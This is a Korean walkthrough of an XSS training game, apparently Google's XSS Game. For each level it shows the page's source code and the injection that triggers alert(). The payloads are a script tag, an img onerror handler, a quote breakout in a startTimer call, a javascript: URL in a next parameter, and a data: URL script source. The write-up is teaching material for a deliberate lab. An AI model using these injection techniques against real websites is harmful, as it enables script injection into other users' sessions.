모든 문제의 목표는 자바스크립트 코드인 alert()를 삽입, 실행시키는 것이다.
입력한 값을 띄운다.
아무런 필터링이 없으므로
<script>alert()</script>
를 입력하면 된다.
소스코드를 들여보면
<td valign="top" class="message-container">
<!--(중략,,,)-->
<blockquote>
<test></test>
</blockquote>
</td>
제대로 입력된 걸 알 수 있다.
<script></script>
만 필터링되므로 스크립트를 실행할 수 있는
<img src="#" onerror="javascript:alert()">
를 입력하면 스크립트가 실행된다.
선택된 이미지에 따라 URL에서 fragment(#) 뒤의 숫자가 바뀌는 것을 볼 수 있다.
프레그먼트에 임의의 값을 넣으니 다음과 같이 되었고,
그때의 코드는 담음과 같았다
<div id="tabContent">
Image NaN
<br>
<img src="/static/level3/cloudtest.jpg">
</div>
cloud+fragment숫자+.jpg로 img를 불러오는 것 같다.
위의 가정 하에 img에 onerror를 삽입하면,
' onerror= "javascript:alert()">
실행이 된다!
이때 로딩 화면의 소스코드는
<body id="level4">
<!--(중략)-->
<img src="/static/loading.gif" onload="startTimer('3');">
<br>
<div id="message">Your timer will execute in 20seconds.</div>
</body>
사진이 로딩될 대 어떤 javascript 함수를 실행함을 볼 수 있다. 그런데 인자로 받는 값의 형태가 특이하기에, test를 입력해보았다.
이때 소스코드는 다음과 같았다.
<body id="level4">
<!--(중략)-->
<img src="/static/loading.gif" onload="startTimer('test');">
<br>
<div id="message">Your timer will execute in testseconds.</div>
</body>
startTimer("
+ 입력 + ')
의 형태인 것으로 보인다.
적당한 입력을 넣어 startTimer(에서 벗어나 다른 함수를 또한 입력시킬 수 없을까??
있다.
3');alert();('
그리고 다시 처음으로 돌아온다.
소스코드를 읽어보는 중에 이메일을 입력하는 부분에 걸린
Next>>
가 다음과 같이 구현되어있었다.
<body>
<!--(중략~~~)-->
<a herf="confirm">Next >></a>
</body>
next에 다른 값을 넣어 signup 페이지를 요청해보니,
이때의 코드는,
<body>
<!--(중략~~~)-->
<a herf="test">Next >></a>
</body>
herf
속성의 값이 바뀐 것을 볼 수 있다.
~~/signup?next=javascript:alert()
다음과 같이 쿼리를 조정해 재접속하면,
Next>>
에 걸린 herf가 javascript:alert()
가 되어 클릭하면 alert()가 실행된다.
소스코드를 보니 html에 스크립트 일부를 노출시켰다
fragement(#) 로 입력받은 값을 script로 테그로 감싸 html에 추가한다.
시험해보자면
소스코드상에서 보면 헤더에 스크립트가 다음과 같이
<head>
<!--(중략)-->
<script src="/static/gadget.js"></script>
<script src="test"></script>
</head>
한 번 더 test2로 해보면
<head>
<!--(중략)-->
<script src="/static/gadget.js"></script>
<script src="test"></script>
<script src="test2"></script>
</head>
이렇게 스크립트 테그가 불어나는 것을 볼 수 있다.
외부에서 alert()
를 실행시키는 js를 가져오기
src 속성에서 javascript를 실행시키는 방법이 있는 줄은 몰랐는디,,
data:text/javascript,alert()
로 입력하면 src 상에서 스크립트가 실행된다!!